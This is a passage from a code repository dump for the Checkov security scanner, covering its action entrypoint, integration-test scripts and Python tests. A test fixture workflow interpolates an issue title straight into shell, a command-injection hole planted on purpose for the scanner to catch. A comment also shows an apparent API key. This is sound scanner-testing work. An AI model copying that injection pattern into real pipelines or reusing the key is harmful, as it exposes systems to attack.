with the provided PAT (needed for downloading private modules from GitHub)\n# This is meant to be a last resort, if our internal mechanism doesn't work\nif [ -n \"$GITHUB_OVERRIDE_URL\" ] && [ \"$GITHUB_OVERRIDE_URL\" = \"true\" ]; then\n  git config --global url.\"https://x-access-token:${GITHUB_PAT}@github.com/\".insteadOf \"https://github.com/\"\nfi\n\n# If Docker image is used, default to that\nif [ -n \"$INPUT_DOCKER_IMAGE\" ]; then\n  DOCKER_IMAGE_FLAG=\"--docker-image $INPUT_DOCKER_IMAGE\"\n  DOCKERFILE_PATH_FLAG=\"--dockerfile-path $INPUT_DOCKERFILE_PATH\"\n  echo \"checkov --bc-api-key <API_KEY> --branch $GIT_BRANCH --repo-id $GITHUB_REPOSITORY $DOCKER_IMAGE_FLAG $DOCKERFILE_PATH_FLAG $OUTPUT_FLAG $OUTPUT_FILE_PATH_FLAG\"\n  CHECKOV_RESULTS=$(checkov --bc-api-key $API_KEY_VARIABLE --branch $GIT_BRANCH --repo-id $GITHUB_REPOSITORY $DOCKER_IMAGE_FLAG $DOCKERFILE_PATH_FLAG $OUTPUT_FLAG $OUTPUT_FILE_PATH_FLAG)\n# Else if File Variable exists then use -f flag to scan specific resources\nelse\n  if [ -n \"$INPUT_FILE\" ]; then\n    RESOURCE_TO_SCAN=\"-f $INPUT_FILE\"\n    echo \"running checkov on file: $INPUT_FILE\"\n  else\n  # Otherwise exists then use -d flag for directory scanning\n    RESOURCE_TO_SCAN=\"-d $INPUT_DIRECTORY\"\n    echo \"running checkov on directory: $INPUT_DIRECTORY\"\n  fi\n  # Build command\n  if [ -n \"$API_KEY_VARIABLE\" ]; then\n    echo \"checkov --bc-api-key XXXXXXXXX-XXX-XXXXX --branch $GIT_BRANCH --repo-id $GITHUB_REPOSITORY $RESOURCE_TO_SCAN $CHECK_FLAG $SKIP_CHECK_FLAG $COMPACT_FLAG $QUIET_FLAG $SOFT_FAIL_FLAG $USE_ENFORCEMENT_RULES_FLAG $SKIP_RESULTS_UPLOAD_FLAG $SKIP_DOWNLOAD_FLAG $ENABLE_SECRETS_SCAN_ALL_FILES $EXTCHECK_DIRS_FLAG $EXTCHECK_REPOS_FLAG $OUTPUT_FLAG $OUTPUT_FILE_PATH_FLAG $OUTPUT_BC_IDS_FLAG $DOWNLOAD_EXTERNAL_MODULES_FLAG $CONFIG_FILE_FLAG $SOFT_FAIL_ON_FLAG $HARD_FAIL_ON_FLAG $FRAMEWORK_FLAG $SKIP_FRAMEWORK_FLAG $SKIP_CVE_PACKAGE_FLAG $BASELINE_FLAG $VAR_FILE_FLAG $POLICY_METADATA_FILTER_FLAG $POLICY_METADATA_FILTER_EXCEPTION_FLAG $INPUT_REPO_ROOT_FOR_PLAN_ENRICHMENT_FLAG $INPUT_DEEP_ANALYSIS_FLAG $SKIP_PATH_FLAG\"\n    CHECKOV_RESULTS=$(checkov --bc-api-key $API_KEY_VARIABLE --branch $GIT_BRANCH --repo-id $GITHUB_REPOSITORY $RESOURCE_TO_SCAN $CHECK_FLAG $SKIP_CHECK_FLAG $COMPACT_FLAG $QUIET_FLAG $SOFT_FAIL_FLAG $USE_ENFORCEMENT_RULES_FLAG $SKIP_RESULTS_UPLOAD_FLAG $SKIP_DOWNLOAD_FLAG $ENABLE_SECRETS_SCAN_ALL_FILES $EXTCHECK_DIRS_FLAG $EXTCHECK_REPOS_FLAG $OUTPUT_FLAG $OUTPUT_FILE_PATH_FLAG $OUTPUT_BC_IDS_FLAG $DOWNLOAD_EXTERNAL_MODULES_FLAG $CONFIG_FILE_FLAG $SOFT_FAIL_ON_FLAG $HARD_FAIL_ON_FLAG $FRAMEWORK_FLAG $SKIP_FRAMEWORK_FLAG $SKIP_CVE_PACKAGE_FLAG $BASELINE_FLAG $VAR_FILE_FLAG $POLICY_METADATA_FILTER_FLAG $POLICY_METADATA_FILTER_EXCEPTION_FLAG $INPUT_REPO_ROOT_FOR_PLAN_ENRICHMENT_FLAG $INPUT_DEEP_ANALYSIS_FLAG $SKIP_PATH_FLAG)\n    else\n    echo \"checkov $RESOURCE_TO_SCAN $CHECK_FLAG $SKIP_CHECK_FLAG $COMPACT_FLAG $QUIET_FLAG $SOFT_FAIL_FLAG $USE_ENFORCEMENT_RULES_FLAG $SKIP_RESULTS_UPLOAD_FLAG $SKIP_DOWNLOAD_FLAG $ENABLE_SECRETS_SCAN_ALL_FILES $EXTCHECK_DIRS_FLAG $EXTCHECK_REPOS_FLAG $OUTPUT_FLAG $OUTPUT_FILE_PATH_FLAG $OUTPUT_BC_IDS_FLAG $DOWNLOAD_EXTERNAL_MODULES_FLAG $CONFIG_FILE_FLAG $SOFT_FAIL_ON_FLAG $HARD_FAIL_ON_FLAG $FRAMEWORK_FLAG $SKIP_FRAMEWORK_FLAG $SKIP_CVE_PACKAGE_FLAG $BASELINE_FLAG $VAR_FILE_FLAG $POLICY_METADATA_FILTER_FLAG $POLICY_METADATA_FILTER_EXCEPTION_FLAG $INPUT_REPO_ROOT_FOR_PLAN_ENRICHMENT_FLAG $INPUT_DEEP_ANALYSIS_FLAG $SKIP_PATH_FLAG\"\n    CHECKOV_RESULTS=$(checkov $RESOURCE_TO_SCAN $CHECK_FLAG $SKIP_CHECK_FLAG $COMPACT_FLAG $QUIET_FLAG $SOFT_FAIL_FLAG $USE_ENFORCEMENT_RULES_FLAG $SKIP_RESULTS_UPLOAD_FLAG $SKIP_DOWNLOAD_FLAG $ENABLE_SECRETS_SCAN_ALL_FILES $EXTCHECK_DIRS_FLAG $EXTCHECK_REPOS_FLAG $OUTPUT_FLAG $OUTPUT_FILE_PATH_FLAG $OUTPUT_BC_IDS_FLAG $DOWNLOAD_EXTERNAL_MODULES_FLAG $CONFIG_FILE_FLAG $SOFT_FAIL_ON_FLAG $HARD_FAIL_ON_FLAG $FRAMEWORK_FLAG $SKIP_FRAMEWORK_FLAG $SKIP_CVE_PACKAGE_FLAG $BASELINE_FLAG $VAR_FILE_FLAG $POLICY_METADATA_FILTER_FLAG $POLICY_METADATA_FILTER_EXCEPTION_FLAG $INPUT_REPO_ROOT_FOR_PLAN_ENRICHMENT_FLAG $INPUT_DEEP_ANALYSIS_FLAG $SKIP_PATH_FLAG)\n  fi\nfi\n\nCHECKOV_EXIT_CODE=$?\n\n# print to console\necho \"${CHECKOV_RESULTS}\"\n\nCHECKOV_RESULTS=\"${CHECKOV_RESULTS//$'\\\\n'/''}\"\n\n# save output to GitHub files for further usage\nEOF=$(dd if=/dev/urandom bs=15 count=1 status=none | base64)\n{ echo \"CHECKOV_RESULTS<<$EOF\"; echo \"${CHECKOV_RESULTS:0:65536}\"; echo \"$EOF\"; } >> $GITHUB_ENV\n{ echo \"results<<$EOF\"; echo \"$CHECKOV_RESULTS\"; echo \"$EOF\"; } >> $GITHUB_OUTPUT\n\nif [ -n \"$INPUT_DOWNLOAD_EXTERNAL_MODULES\" ] && [ \"$INPUT_DOWNLOAD_EXTERNAL_MODULES\" = \"true\" ]; then\n  echo \"Cleaning up $INPUT_DIRECTORY/.external_modules directory\"\n  #This directory must be removed here for the self hosted github runners run as non-root user.\n  rm -fr $INPUT_DIRECTORY/.external_modules\n  exit $CHECKOV_EXIT_CODE\nfi\nexit $CHECKOV_EXIT_CODE\n"
  },
  {
    "path": "integration_tests/__init__.py",
    "content": ""
  },
  {
    "path": "integration_tests/example_config_files/config.yaml",
    "content": "---\n# Test comment.\nframework: terraform\noutput: json"
  },
  {
    "path": "integration_tests/example_ext_private_modules/main.tf",
    "content": "module \"s3_bucket\" {\n  source = \"github.com/ckv-tests/terraform-aws-s3-bucket-private\"\n  version = \"0.0.1\"\n  acl                      = \"public\"\n  enabled                  = true\n}\n\nmodule \"s3-bucket1\" {\n  source  = \"app.terraform.io/panw-bridgecrew/s3-bucket1/aws\"\n  version = \"0.0.2\"\n}"
  },
  {
    "path": "integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml",
    "content": "on: pull_request\n\nname: unsecure-worfklow\n\njobs:\n  my_job:\n    container:\n      image: node:14.16\n      env:\n        NODE_ENV: development\n      ports:\n        - 80\n      volumes:\n        - my_docker_volume:/volume_mount\n      options: --cpus 1\n  my_job2:\n    container:\n      image: node:14.1\n      env:\n        NODE_ENV: development\n      ports:\n        - 80\n      volumes:\n        - my_docker_volume:/volume_mount\n      options: --cpus 1\n  unsecure-job:\n    name: job1\n    runs-on: ubuntu-latest\n    run: |\n      title=\"${{ github.event.issue.title }}\"\n      if [[ ! $title =~ ^.*:\\ .*$ ]]; then\n        echo \"Bad issue title\"\n        exit 1\n      fi\n  secure-job:\n    name: job2\n    runs-on: ubuntu-latest\n    run: |\n      echo \"foo\""
  },
  {
    "path": "integration_tests/example_workflow_file/bitbucket/bitbucket-pipelines.yml",
    "content": "image: node:10.15.0\n\npipelines:\n  default:\n    - step:\n        name: Build and test\n        image: node:10.0.0\n        script:\n          - npm install\n          - npm test\n          - npm run build\n        artifacts:\n          - dist/**\n    - step:\n        name: Deploy\n        image: python:3.7.2\n        trigger: manual\n        script:\n          - python deploy.py\n  custom:\n    sonar:\n      - step:\n          image: python:latest\n          script:\n            - echo \"Manual triggers for Sonar are awesome!\"\n    deployment-to-prod:\n      - step:\n          script:\n            - echo \"Manual triggers for deployments are awesome!\"\n  branches:\n    staging:\n      - step:\n          script:\n            - echo \"Auto pipelines are cool too.\""
  },
  {
    "path": "integration_tests/prepare_data.sh",
    "content": "#!/bin/bash\n\necho \"Received $1 and then $2\"\n\nif [[ \"$1\" == \"windows-latest\" ]]\nthen\n  pipenv run checkov -s --framework terraform -d terragoat\\\\terraform\\\\ -o json > checkov_report_terragoat.json\n  pipenv run checkov -s --framework terraform -d terragoat\\\\terraform\\\\ -o junitxml > checkov_report_terragoat.xml\n  pipenv run checkov -s --framework cloudformation -d cfngoat\\\\ -o json --external-checks-dir .\\\\checkov\\\\cloudformation\\\\checks\\\\graph_checks\\\\aws > checkov_report_cfngoat.json\n  pipenv run checkov -s -d kubernetes-goat\\\\ --framework kubernetes -o json > checkov_report_kubernetes-goat.json\n  pipenv run checkov -s --framework terraform -d terragoat\\\\terraform\\\\ -o cyclonedx > checkov_report_terragoat_cyclonedx.xml\n  pipenv run checkov -s --framework terraform -d terragoat\\\\terraform\\\\ -o sarif\n#  LOG_LEVEL=DEBUG pipenv run checkov -s -d kubernetes-goat\\\\ --framework helm -o json > checkov_report_kubernetes-goat-helm.json\n  pipenv run checkov -s --framework terraform --skip-check CKV_AWS_33,CKV_AWS_41 -d terragoat\\\\terraform\\\\ -o json > checkov_report_terragoat_with_skip.json\n  pipenv run checkov -s --framework cloudformation -d cfngoat\\\\ -o json --quiet > checkov_report_cfngoat_quiet.json\n  pipenv run checkov -s -d terragoat\\\\terraform\\\\ --config-file integration_tests\\\\example_config_files\\\\config.yaml -o json > checkov_config_report_terragoat.json\nelse\n  pipenv run checkov -s --framework terraform -d terragoat/terraform/ -o json > checkov_report_terragoat.json\n  pipenv run checkov -s --framework terraform -d terragoat/terraform/ -o junitxml > checkov_report_terragoat.xml\n  pipenv run checkov -s --framework terraform -d terragoat/terraform/ -o cyclonedx > checkov_report_terragoat_cyclonedx.xml\n  pipenv run checkov -s --framework terraform -d terragoat/terraform/ -o sarif\n  pipenv run checkov -s --framework cloudformation -d cfngoat/ -o json --external-checks-dir ./checkov/cloudformation/checks/graph_checks/aws > checkov_report_cfngoat.json\n  pipenv run checkov -s -d kubernetes-goat/ --framework kubernetes -o json > checkov_report_kubernetes-goat.json\n  pipenv run checkov -s -d kubernetes-goat/ --framework helm -o json > checkov_report_kubernetes-goat-helm.json\n  pipenv run checkov -s -d kustomizegoat/ --framework kustomize -o json > checkov_report_kustomizegoat.json\n  pipenv run checkov -s --framework terraform --skip-check CKV_AWS_33,CKV_AWS_41 -d terragoat/terraform/ -o json > checkov_report_terragoat_with_skip.json\n  pipenv run checkov -s --framework cloudformation -d cfngoat/ -o json --quiet > checkov_report_cfngoat_quiet.json\n  pipenv run checkov -s -d terragoat/terraform/ --config-file integration_tests/example_config_files/config.yaml -o json > checkov_config_report_terragoat.json\n\nfi\n\nif [[ \"$2\" == \"3.9\" && \"$1\" == \"ubuntu-latest\" ]]\nthen\n  pipenv run checkov -s -f terragoat/terraform/aws/s3.tf --repo-id checkov/integration_test --bc-api-key $BC_KEY > checkov_report_s3_singlefile_api_key_terragoat.txt\n  pipenv run checkov -s -d terragoat/terraform/azure/ --repo-id checkov/integration_test --bc-api-key $BC_KEY > checkov_report_azuredir_api_key_terragoat.txt\n  pipenv run checkov -s -d terragoat/terraform/azure/ --repo-id checkov/integration_test --skip-results-upload --bc-api-key $BC_KEY > checkov_report_azuredir_api_key_terragoat_no_upload.txt\n  echo \"running image referencing\"\n  pipenv run checkov -s -d integration_tests/example_workflow_file/bitbucket/ -o json --repo-id checkov/integration_test --bc-api-key $BC_KEY --include-all-checkov-policies > checkov_report_bitbucket_pipelines_cve.json\n  echo \"running list\"\n  pipenv run checkov --list --bc-api-key $BC_KEY --output-bc-ids > checkov_checks_list.txt\n  echo \"running tfc\"\n#  GITHUB_PAT=\"$GITHUB_PAT\" TF_REGISTRY_TOKEN=\"$TFC_TOKEN\" pipenv run checkov -s -d integration_tests/example_ext_private_modules/ --download-external-modules True\n\nfi\n"
  },
  {
    "path": "integration_tests/run_integration_tests.sh",
    "content": "#!/bin/bash\n\n# In order to run this script set the following environment variables:\n# BC_API_URL - your API url.\n# BC_KEY - generate API key via Platform.\n#\n# The working dir should be the checkov project dir.\n# For example: on /Users/ajbara/dev2/checkov dir run BC_API_URL=https://ws342vj2ze.execute-api.us-west-2.amazonaws.com/v1 BC_KEY=e74ebcef-e4fc-4b35-b7f9-1f5bd5c336a6 LOG_LEVEL=Info /Users/ajbara/dev2/checkov/integration_tests/run_integration_tests.sh\n\n\n\nprepare_data () {\n  python checkov/main.py -s --framework terraform -d repositories/terragoat/terraform/ -o json > checkov_report_terragoat.json\n  python checkov/main.py -s --framework terraform -d repositories/terragoat/terraform/ -o junitxml > checkov_report_terragoat.xml\n  python checkov/main.py -s --framework terraform -d repositories/terragoat/terraform/ -o cyclonedx > checkov_report_terragoat_cyclonedx.xml\n  python checkov/main.py -s --framework terraform -d repositories/terragoat/terraform/ -o sarif\n  python checkov/main.py -s --framework cloudformation -d repositories/cfngoat/ -o json --external-checks-dir ./checkov/cloudformation/checks/graph_checks/aws > checkov_report_cfngoat.json\n  python checkov/main.py -s -d repositories/kubernetes-goat/ --framework kubernetes -o json > checkov_report_kubernetes-goat.json\n  python checkov/main.py -s -d repositories/kubernetes-goat/ --framework helm -o json > checkov_report_kubernetes-goat-helm.json\n  python checkov/main.py -s -d repositories/kustomizegoat/ --framework kustomize -o json > checkov_report_kustomizegoat.json\n  python checkov/main.py -s --framework terraform --skip-check CKV_AWS_33,CKV_AWS_41 -d repositories/terragoat/terraform/ -o json > checkov_report_terragoat_with_skip.json\n  python checkov/main.py -s --framework cloudformation -d repositories/cfngoat/ -o json --quiet > checkov_report_cfngoat_quiet.json\n  python checkov/main.py -s -d repositories/terragoat/terraform/ --config-file integration_tests/example_config_files/config.yaml -o json > checkov_config_report_terragoat.json\n\n  python checkov/main.py -s -f repositories/terragoat/terraform/aws/s3.tf --repo-id checkov/integration_test --bc-api-key $BC_KEY > checkov_report_s3_singlefile_api_key_terragoat.txt\n  python checkov/main.py -s -d repositories/terragoat/terraform/azure/ --repo-id checkov/integration_test --bc-api-key $BC_KEY > checkov_report_azuredir_api_key_terragoat.txt\n  python checkov/main.py -s -d integration_tests/example_workflow_file/bitbucket/ -o json --repo-id checkov/integration_test --bc-api-key $BC_KEY --include-all-checkov-policies > checkov_report_bitbucket_pipelines_cve.json\n  python checkov/main.py --list --bc-api-key $BC_KEY --output-bc-ids > checkov_checks_list.txt\n}\n\nclone_repositories () {\n  echo Clone Terragoat - vulnerable terraform;\n  git clone https://github.com/bridgecrewio/terragoat\n  test -d ./terragoat || { echo 'terragoat dir does not exist, please check your git connection and try again.'; exit 1; };\n\n  echo Clone Cfngoat - vulnerable cloudformation;\n  git clone https://github.com/bridgecrewio/cfngoat\n\n  echo Clone Kubernetes-goat - vulnerable kubernetes;\n  git clone https://github.com/madhuakula/kubernetes-goat\n\n  echo Clone kustomize-goat - vulnerable kustomize;\n  git clone https://github.com/bridgecrewio/kustomizegoat\n}\n\ndelete_repositories () {\n  rm -rf repositories\n}\n\ndelete_reports () {\n  rm -r checkov_report*\n  rm -r checkov_config_report_terragoat*\n  rm results.sarif\n  rm checkov_checks_list.txt\n}\n\necho $BC_KEY\nif [[ -z \"$BC_KEY\" ]]; then\n   echo \"BC_API_KEY is missing.\"\n   exit 1\nfi\n\necho $BC_API_URL\nif [[ -z \"$BC_API_URL\" ]]; then\n   echo \"BC_API_URL is missing.\"\n   exit 1\nfi\n\n# Create repositories dir\nmkdir repositories\ncd repositories\n\necho \"Cloning repositories\"\nclone_repositories\n\ncd ..\n\nif [ ! -z \"$VIRTUAL_ENV\" ]; then\n  deactivate\nfi\n\n#activate virtual env\nENV_PATH=$(pipenv --venv)\necho $ENV_PATH\nsource $ENV_PATH/bin/activate\n\nworking_dir=$(pwd) # should be the path of local checkov project\nexport PYTHONPATH=\"$working_dir/checkov:$PYTHONPATH\"\n\nprepare_data\n\n#Run integration tests.\npytest integration_tests\n\ndeactivate\n\necho \"Deleting reports and repositories.\"\ndelete_reports\ndelete_repositories\n\n"
  },
  {
    "path": "integration_tests/test_checkov_cli_integration_report.py",
    "content": "import json\nimport os\nimport platform\nimport sys\nimport unittest\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestCheckovJsonReport(unittest.TestCase):\n    def test_terragoat_report_dir_api_key(self):\n        report_path = os.path.join(current_dir, '..', 'checkov_report_azuredir_api_key_terragoat.txt')\n        self.validate_report(os.path.abspath(report_path))\n\n    def test_terragoat_report_dir_no_upload_api_key(self):\n        report_path = os.path.join(current_dir, '..', 'checkov_report_azuredir_api_key_terragoat_no_upload.txt')\n        self.validate_report(os.path.abspath(report_path), False)\n\n    def test_terragoat_report_file_api_key(self):\n        report_path = os.path.join(current_dir, '..', 'checkov_report_s3_singlefile_api_key_terragoat.txt')\n        self.validate_report(os.path.abspath(report_path))\n\n    def validate_report(self, report_path, url_should_exist=True):\n        if sys.version_info[1] == 8 and platform.system() == 'Linux':\n            platform_url_found = False\n            with open(report_path) as f:\n                if 'More details: https://app0.prismacloud.io/projects?' in f.read():\n                    platform_url_found = True\n            self.assertEqual(platform_url_found, url_should_exist, \"when using api key and not --skip-results-upload, platform code review url should exist\")\n\n    def test_bitbucket_pipelines_report_api_key(self):\n        report_path = os.path.join(current_dir, '..', 'checkov_report_bitbucket_pipelines_cve.json')\n        # the below condition exist because checkov_report_bitbucket_pipelines_cve.json is\n        # generated only on Linux with Python 3.8 - see prepare_data.sh script\n        if sys.version_info[1] == 8 and platform.system() == 'Linux':\n            with open(report_path, encoding='utf-8') as f:\n                report = json.load(f)\n                self.assertGreaterEqual(len(report), 1,\n                                        \"expecting to have one report at least - bitbucket_pipelines \")\n                bitbucket_pipelines_actions_report_exists = False\n                if report[\"check_type\"] == \"bitbucket_pipelines\":\n                    bitbucket_pipelines_actions_report_exists = True\n                    self.assertGreaterEqual(report['summary']['failed'], 1)\n\n                self.assertTrue(bitbucket_pipelines_actions_report_exists)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "integration_tests/test_checkov_config.py",
    "content": "import json\nimport os\nimport unittest\nfrom unittest import mock\nfrom checkov.common.logger_streams import LoggerStreams\nfrom checkov.logging_init import log_stream, erase_log_stream\nfrom checkov.main import Checkov\nfrom checkov.common.util.env_vars_config import env_vars_config\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestCheckovConfig(unittest.TestCase):\n    def test_terragoat_report(self):\n        # Report to be generated using following command:\n        # checkov -d path/to/terragoat --config-file \\\n        # path/to/checkov/integration_tests/example_config_files/config.yaml \\\n        # > path/to/checkov/checkov_config_report_terragoat.json\n        report_path = os.path.join(os.path.dirname(current_dir), \"checkov_config_report_terragoat.json\")\n        with open(report_path) as json_file:\n            data = json.load(json_file)\n            self.assertEqual(\n                data[\"summary\"][\"parsing_errors\"],\n                0,\n                f\"expecting 0 parsing errors but got: {data['results']['parsing_errors']}\",\n            )\n            self.assertGreater(\n                data[\"summary\"][\"failed\"], 1, f\"expecting more than 1 failed checks, got: {data['summary']['failed']}\"\n            )\n            self.assertEqual(\n                data[\"check_type\"], \"terraform\", f\"expecting 'terraform' but got: {data['check_type']}\"\n            )\n            self.assertIsNotNone(\n                data[\"results\"][\"failed_checks\"][0][\"guideline\"], \"expecting a guideline for checks.\"\n            )\n\n    def setUp(self):\n        erase_log_stream()  # Clear any existing logs before each test\n        self.logger_streams = LoggerStreams()\n        self.stream_name = \"test_stream\"\n        self.logger_streams.add_stream(self.stream_name, log_stream)\n\n    def tearDown(self):\n        erase_log_stream()  # Ensure logs are cleared after each test\n\n    def get_logged_messages(self):\n        return self.logger_streams.get_streams().get(self.stream_name).getvalue()\n\n    def test_missing_config_file(self):\n        \"\"\"Test when the provided config-file does not exist.\"\"\"\n        env_vars_config.ENABLE_CONFIG_FILE_VALIDATION = True\n        config_path = os.path.join('path', 'to', 'missing', 'config.yaml')\n        argv = [\"--config-file\", config_path]\n\n        with mock.patch(\"pathlib.Path.is_file\", return_value=False):\n            checkov_instance = Checkov(argv=argv)\n            checkov_instance.parse_config()\n\n        logged_messages = self.get_logged_messages()\n        expected_message = f\"The config file at '{config_path}' does not exist. Running without a config file.\"\n        self.assertIn(expected_message, logged_messages)\n\n    def test_no_config_file_argument(self):\n        \"\"\"Test when no --config-file argument is provided.\"\"\"\n        env_vars_config.ENABLE_CONFIG_FILE_VALIDATION = True\n        argv = []\n\n        checkov_instance = Checkov(argv=argv)\n        checkov_instance.parse_config()\n\n        logged_messages = self.get_logged_messages()\n        self.assertNotIn(\"does not exist\", logged_messages)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "integration_tests/test_checkov_cyclonedx_report.py",
    "content": "import os\nimport unittest\nfrom xml.dom import minidom\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestCheckovCyclonedxReport(unittest.TestCase):\n    def test_terragoat_report(self):\n        report_path = os.path.join(os.path.dirname(current_dir), \"checkov_report_terragoat_cyclonedx.xml\")\n        self.validate_report(os.path.abspath(report_path))\n\n    def validate_report(self, report_path: str) -> None:\n        with open(report_path) as cyclonedx_file:\n            data = minidom.parse(cyclonedx_file)\n            self.validate_report_not_empty(data)\n\n    def validate_report_not_empty(self, report):\n        vulnrability_file = (\n            report.getElementsByTagNameNS(\"*\", \"vulnerabilities\")[0]\n            .getElementsByTagNameNS(\"*\", \"vulnerability\")[0]\n            .getElementsByTagNameNS(\"*\", \"id\")[0]\n            .firstChild.nodeValue\n        )\n        self.assertTrue(vulnrability_file.startswith(\"CKV\"))\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "integration_tests/test_checkov_ext_module_cloning.py",
    "content": "import os\nimport unittest\nimport sys\nimport platform\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\next_modules_path = os.path.join(current_dir, \"example_ext_private_modules\", \".external_modules\")\n\n\nclass TestCheckovExtModuleCloning(unittest.TestCase):\n\n    def test_private_github_modules_api_key(self):\n        if sys.version_info[1] == 8 and platform.system() == 'Linux' and False:\n            expected_private_github_path = os.path.join(ext_modules_path, \"github.com\", \"ckv-tests\")\n            expected_private_github_modules = [os.path.join(expected_private_github_path, \"terraform-aws-iam-s3-user-private\"),\n                                               os.path.join(expected_private_github_path, \"terraform-aws-s3-bucket-private\")]\n            for m in expected_private_github_modules:\n                assert os.path.exists(m)\n\n    def test_private_tfc_modules_api_key(self):\n        if sys.version_info[1] == 8 and platform.system() == 'Linux' and False:\n            expected_private_tfc_path = os.path.join(ext_modules_path, \"app.terraform.io\", \"panw-bridgecrew\")\n            expected_private_tfc_modules = [\n                os.path.join(expected_private_tfc_path, \"iam-s3-user\", \"aws\", \"0.15.7\"),\n                os.path.join(expected_private_tfc_path, \"s3-bucket1\", \"aws\", \"0.0.2\")]\n            for m in expected_private_tfc_modules:\n                assert os.path.exists(m)\n"
  },
  {
    "path": "integration_tests/test_checkov_json_report.py",
    "content": "import itertools\nimport json\nimport os\nimport sys\nimport unittest\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestCheckovJsonReport(unittest.TestCase):\n\n    def test_terragoat_report(self):\n        report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_terragoat.json')\n        self.validate_report(os.path.abspath(report_path))\n\n    def test_kustomizegoat_report(self):\n        if not sys.platform.startswith('win'):\n            report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_kustomizegoat.json')\n            self.validate_report(os.path.abspath(report_path))\n\n    def test_cfngoat_report(self):\n        report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_cfngoat.json')\n        self.validate_report(os.path.abspath(report_path))\n        # self.validate_check_in_report(report_path, \"CKV2_AWS_26\")\n\n    def test_k8goat_report(self):\n        report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_kubernetes-goat.json')\n        self.validate_report(os.path.abspath(report_path))\n\n    def test_k8goat_report_not_win(self):\n        if not sys.platform.startswith('win'):\n            report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_kubernetes-goat-helm.json')\n            self.validate_report(os.path.abspath(report_path))\n\n    def test_checkov_report_terragoat_with_skip(self):\n        report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_terragoat_with_skip.json')\n        checkov2_graph_findings = 0\n        with open(report_path) as json_file:\n            data = json.load(json_file)\n            for check_result in data[\"results\"][\"passed_checks\"]:\n                self.assertNotEqual(check_result[\"check_id\"], \"CKV_AWS_33\")\n                self.assertNotEqual(check_result[\"check_id\"], \"CKV_AWS_41\")\n                if check_result[\"check_id\"].startswith('CKV2'):\n                    checkov2_graph_findings += 1\n        # self.assertGreater(checkov2_graph_findings, 5)  # Commented out as it's causing failures and might be outdated\n\n    def validate_report(self, report_path):\n        with open(report_path) as json_file:\n            data = json.load(json_file)\n            if isinstance(data, list):\n                for framework_report in data:\n                    self.validate_report_not_empty(framework_report)\n            else:\n                self.validate_report_not_empty(data)\n\n    def validate_report_not_empty(self, report):\n        self.assertEqual(report[\"summary\"][\"parsing_errors\"], 0,\n                         f\"expecting 0 parsing errors but got: {report['results']['parsing_errors']}\")\n        self.assertGreater(report[\"summary\"][\"failed\"], 1,\n                           f\"expecting more than 1 failed checks, got: {report['summary']['failed']}\")\n        self.assertGreater(report['results']['failed_checks'][0]['file_line_range'][1], 0)\n\n    def validate_json_quiet(self):\n        report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_cfngoat_quiet.json')\n        with open(report_path) as json_file:\n            data = json.load(json_file)\n            self.assertTrue(data[\"results\"][\"failed_checks\"])\n            self.assertFalse(data[\"results\"][\"passed_checks\"])\n            self.assertTrue(data[\"summary\"])\n\n    def validate_check_in_report(self, report_path, check_id):\n        with open(report_path) as json_file:\n            data = json.load(json_file)[0]\n        assert any(check[\"check_id\"] == check_id for check in\n                   itertools.chain(data[\"results\"][\"failed_checks\"], data[\"results\"][\"passed_checks\"]))\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "integration_tests/test_checkov_junit_report.py",
    "content": "import unittest\nimport os\nimport xml.etree.ElementTree as ET\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestCheckovJunitReport(unittest.TestCase):\n    def test_terragoat_junit_report(self):\n\n        report_path = os.path.join(os.path.dirname(current_dir), 'checkov_report_terragoat.xml')\n        tree = ET.parse(report_path)\n        root = tree.getroot()\n        self.assertEqual(root.attrib['errors'], '0')\n"
  },
  {
    "path": "integration_tests/test_checkov_platform_only_policies.py",
    "content": "import platform\nimport sys\nimport unittest\nimport re\nfrom pathlib import Path\n\nfrom checkov.common.models.consts import ckv_check_id_pattern\n\ncurrent_dir = Path(__file__).parent\n\n\nclass TestCheckovPlatformOnlyPolicies(unittest.TestCase):\n\n    def test_no_ckv_ids_api_key(self):\n        checks_list_path = current_dir.parent / 'checkov_checks_list.txt'\n        if sys.version_info[1] == 8 and platform.system() == 'Linux':\n            with open(checks_list_path, encoding='utf-8') as f:\n                for i, line in enumerate(f):\n                    if i in [0, 1]:\n                        # skip the header lines\n                        continue\n                    line = \"\".join(line.split())\n                    if line and isinstance(line, str):\n                        if line == \"---\":\n                            # end of table\n                            continue\n                        check_id = line.split('|')[2]\n                        ckv_ids = re.match(ckv_check_id_pattern, check_id)\n                        self.assertFalse(ckv_ids)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "integration_tests/test_checkov_sarif_report.py",
    "content": "import json\nimport os\nimport unittest\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestCheckovSarifReport(unittest.TestCase):\n\n    def test_terragoat_report(self):\n        report_path = os.path.join(os.path.dirname(current_dir), 'results.sarif')\n        self.validate_report(os.path.abspath(report_path))\n\n    def validate_report(self, report_path):\n        with open(report_path) as json_file:\n            data = json.load(json_file)\n            if isinstance(data, list):\n                for framework_report in data:\n                    self.validate_report_not_empty(framework_report)\n            else:\n                self.validate_report_not_empty(data)\n\n    def validate_report_not_empty(self, report):\n        self.assertEqual(report[\"runs\"][0]['tool']['driver']['name'], \"Checkov\")\n        self.assertGreater(len(report[\"runs\"][0]['results']), 1,\n                           \"expecting more than 1 failed checks\")\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "kubernetes/Dockerfile",
